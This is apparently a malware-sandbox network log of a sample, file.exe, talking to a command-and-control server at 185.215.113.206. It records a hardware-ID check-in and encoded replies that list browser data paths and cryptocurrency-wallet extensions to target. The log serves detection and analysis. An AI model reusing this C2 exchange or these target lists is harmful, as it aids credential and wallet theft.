Oct 28, 2024 02:07:24.572307110 CET	192.168.2.6	1.1.1.1	0xdce0	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:24.572490931 CET	192.168.2.6	1.1.1.1	0x5c67	Standard query (0)	play.google.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:30.953351021 CET	192.168.2.6	1.1.1.1	0xba8a	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:30.953553915 CET	192.168.2.6	1.1.1.1	0x6bc3	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:32.769845009 CET	192.168.2.6	1.1.1.1	0xd044	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:32.770098925 CET	192.168.2.6	1.1.1.1	0x2666	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Oct 28, 2024 02:07:33.910723925 CET	192.168.2.6	1.1.1.1	0x9aba	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.910792112 CET	192.168.2.6	1.1.1.1	0xe456	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:33.921854019 CET	192.168.2.6	1.1.1.1	0xdcfd	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.921999931 CET	192.168.2.6	1.1.1.1	0xfd78	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:33.931407928 CET	192.168.2.6	1.1.1.1	0x141e	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.931521893 CET	192.168.2.6	1.1.1.1	0x69c3	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:33.933065891 CET	192.168.2.6	1.1.1.1	0x3ad8	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.933201075 CET	192.168.2.6	1.1.1.1	0x4300	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:33.944041014 CET	192.168.2.6	1.1.1.1	0xb73d	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.944153070 CET	192.168.2.6	1.1.1.1	0xe1e3	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:35.557641983 CET	192.168.2.6	1.1.1.1	0x7a77	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:35.558193922 CET	192.168.2.6	1.1.1.1	0xf4df	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:35.559015989 CET	192.168.2.6	1.1.1.1	0xc31b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:35.559787035 CET	192.168.2.6	1.1.1.1	0xa291	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Oct 28, 2024 02:07:35.592554092 CET	192.168.2.6	1.1.1.1	0x9732	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:35.592710972 CET	192.168.2.6	1.1.1.1	0xdbde	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 02:07:19.233607054 CET	1.1.1.1	192.168.2.6	0xcb11	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:19.233994961 CET	1.1.1.1	192.168.2.6	0xa74b	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 28, 2024 02:07:23.588363886 CET	1.1.1.1	192.168.2.6	0x7326	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:23.588363886 CET	1.1.1.1	192.168.2.6	0x7326	No error (0)	plus.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:23.588406086 CET	1.1.1.1	192.168.2.6	0x5de7	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:24.579926968 CET	1.1.1.1	192.168.2.6	0xdce0	No error (0)	play.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:30.960849047 CET	1.1.1.1	192.168.2.6	0x6bc3	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:30.961368084 CET	1.1.1.1	192.168.2.6	0xba8a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:31.310724974 CET	1.1.1.1	192.168.2.6	0x8774	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:31.314500093 CET	1.1.1.1	192.168.2.6	0x48fe	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:31.314500093 CET	1.1.1.1	192.168.2.6	0x48fe	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:32.777530909 CET	1.1.1.1	192.168.2.6	0xd044	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:32.777771950 CET	1.1.1.1	192.168.2.6	0x2666	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:33.918122053 CET	1.1.1.1	192.168.2.6	0x9aba	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:33.918122053 CET	1.1.1.1	192.168.2.6	0x9aba	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.193	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.918780088 CET	1.1.1.1	192.168.2.6	0xe456	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:33.928884983 CET	1.1.1.1	192.168.2.6	0xdcfd	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.928884983 CET	1.1.1.1	192.168.2.6	0xdcfd	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.928884983 CET	1.1.1.1	192.168.2.6	0xdcfd	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.928884983 CET	1.1.1.1	192.168.2.6	0xdcfd	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:33.938458920 CET	1.1.1.1	192.168.2.6	0x141e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:33.939235926 CET	1.1.1.1	192.168.2.6	0x69c3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:33.940820932 CET	1.1.1.1	192.168.2.6	0x4300	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:33.951090097 CET	1.1.1.1	192.168.2.6	0xb73d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:33.951539040 CET	1.1.1.1	192.168.2.6	0xe1e3	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:34.570935965 CET	1.1.1.1	192.168.2.6	0x7665	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:35.564929008 CET	1.1.1.1	192.168.2.6	0x7a77	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:35.564929008 CET	1.1.1.1	192.168.2.6	0x7a77	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:35.565483093 CET	1.1.1.1	192.168.2.6	0xf4df	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 28, 2024 02:07:35.566313982 CET	1.1.1.1	192.168.2.6	0xc31b	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:35.566313982 CET	1.1.1.1	192.168.2.6	0xc31b	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:35.567198992 CET	1.1.1.1	192.168.2.6	0xa291	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 28, 2024 02:07:35.600886106 CET	1.1.1.1	192.168.2.6	0xdbde	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Oct 28, 2024 02:07:35.600933075 CET	1.1.1.1	192.168.2.6	0x9732	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:35.600933075 CET	1.1.1.1	192.168.2.6	0x9732	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:35.932873011 CET	1.1.1.1	192.168.2.6	0x204d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:35.932873011 CET	1.1.1.1	192.168.2.6	0x204d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:36.205440998 CET	1.1.1.1	192.168.2.6	0xb7ae	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:36.205440998 CET	1.1.1.1	192.168.2.6	0xb7ae	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:37.225204945 CET	1.1.1.1	192.168.2.6	0x483f	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:39.252423048 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:39.252423048 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:40.265245914 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:40.265245914 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:41.303530931 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:41.303530931 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:43.309438944 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:43.309438944 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Oct 28, 2024 02:07:47.324019909 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 28, 2024 02:07:47.324019909 CET	1.1.1.1	192.168.2.6	0x3e2d	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.215.113.206	80	3960	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 02:07:10.140913010 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 02:07:11.067904949 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 02:07:11.071635008 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEGHJKJKKJDHIDHJKJDB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 32 33 38 34 33 43 31 35 36 46 41 38 33 35 31 30 32 31 31 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 42 2d 2d 0d 0a Data Ascii: ------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="hwid"223843C156FA835102114------AEGHJKJKKJDHIDHJKJDBContent-Disposition: form-data; name="build"tale------AEGHJKJKKJDHIDHJKJDB--
Oct 28, 2024 02:07:11.373653889 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6a 51 78 4d 44 45 34 4d 6a 45 7a 4e 6d 55 78 5a 47 5a 68 4f 54 68 6a 5a 54 51 32 59 7a 6b 7a 4d 47 46 6d 4e 57 45 32 4e 44 49 78 5a 6d 52 68 4e 44 56 6c 4f 57 52 6a 5a 47 49 79 5a 57 45 33 4d 32 55 31 4e 6d 59 34 5a 6a 56 6d 4e 44 56 6c 59 32 51 35 4e 32 45 31 59 6a 41 79 5a 44 64 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZjQxMDE4MjEzNmUxZGZhOThjZTQ2YzkzMGFmNWE2NDIxZmRhNDVlOWRjZGIyZWE3M2U1NmY4ZjVmNDVlY2Q5N2E1YjAyZDdjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 28, 2024 02:07:11.375154972 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCFIEBKEGHIDGCAFBF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 46 49 45 42 4b 45 47 48 49 44 47 43 41 46 42 46 2d 2d 0d 0a Data Ascii: ------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------FBFCFIEBKEGHIDGCAFBFContent-Disposition: form-data; name="message"browsers------FBFCFIEBKEGHIDGCAFBF--
Oct 28, 2024 02:07:11.663424969 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 28, 2024 02:07:11.663499117 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 28, 2024 02:07:11.665864944 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAEBAFBGIDHCBFHIECF Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 34 31 30 31 38 32 31 33 36 65 31 64 66 61 39 38 63 65 34 36 63 39 33 30 61 66 35 61 36 34 32 31 66 64 61 34 35 65 39 64 63 64 62 32 65 61 37 33 65 35 36 66 38 66 35 66 34 35 65 63 64 39 37 61 35 62 30 32 64 37 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="token"f410182136e1dfa98ce46c930af5a6421fda45e9dcdb2ea73e56f8f5f45ecd97a5b02d7c------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="message"plugins------AAAEBAFBGIDHCBFHIECF--
Oct 28, 2024 02:07:11.962845087 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:11 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 28, 2024 02:07:11.962959051 CET	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
